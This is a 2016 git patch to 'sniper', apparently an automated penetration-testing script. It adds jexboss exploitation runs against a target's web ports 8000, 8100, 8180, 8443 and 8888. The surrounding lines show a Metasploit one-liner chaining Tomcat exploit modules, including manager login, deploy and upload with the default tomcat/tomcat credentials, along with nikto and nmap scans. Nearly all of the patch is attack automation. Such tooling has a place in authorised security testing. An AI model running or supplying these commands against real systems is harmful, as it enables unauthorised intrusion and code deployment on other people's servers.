From 3415c7fd81d7e5c41f3a042d5de34648b9962882 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jo=C3=A3o=20F=20M=20Figueiredo?= Date: Thu, 28 Jul 2016 23:12:31 -0300 Subject: [PATCH] Update sniper --- sniper | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/sniper b/sniper index 1a5dd50..1446e99 100644 --- a/sniper +++ b/sniper @@ -996,6 +996,8 @@ else cd .. nikto -h http://$TARGET:8000 cutycapt --url=http://$TARGET:8000 --out=loot/$TARGET-port8000.jpg + python jexboss/jexboss.py -host http://$TARGET:8000 + fi if [ -z "$port_8100" ]; @@ -1014,6 +1016,7 @@ else cd .. nikto -h http://$TARGET:8100 cutycapt --url=http://$TARGET:8100 --out=loot/$TARGET-port8100.jpg + python jexboss/jexboss.py -host http://$TARGET:8100 fi if [ -z "$port_8080" ]; @@ -1062,6 +1065,7 @@ else echo -e "$OKGREEN + -- ----------------------------=[Launching Webmin File Disclosure Exploit]= -- +$RESET" echo -e "$OKGREEN + -- ----------------------------=[Launching Tomcat Exploits]=--------------- -- +$RESET" msfconsole -x "use admin/http/tomcat_administration; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT 8180; run; use admin/http/tomcat_utf8_traversal; run; use scanner/http/tomcat_enum; run; use scanner/http/tomcat_mgr_login; run; use multi/http/tomcat_mgr_deploy; run; use multi/http/tomcat_mgr_upload; set USERNAME tomcat; set PASSWORD tomcat; run; exit;" + python jexboss/jexboss.py -host http://$TARGET:8180 fi if [ -z "$port_8443" ]; @@ -1082,6 +1086,7 @@ else nikto -h https://$TARGET:8443 cutycapt --url=https://$TARGET:8443 --out=loot/$TARGET-port8443.jpg nmap -p 8443 -T5 --script=*proxy* $TARGET + python jexboss/jexboss.py -host https://$TARGET:8443 fi if [ -z "$port_8888" ]; @@ -1096,6 +1101,7 @@ else xsstracer $TARGET 8888 nikto -h http://$TARGET:8888 cutycapt --url=https://$TARGET:8888 --out=loot/$TARGET-port8888.jpg + python jexboss/jexboss.py -host http://$TARGET:8888 fi if [ -z "$port_10000" ];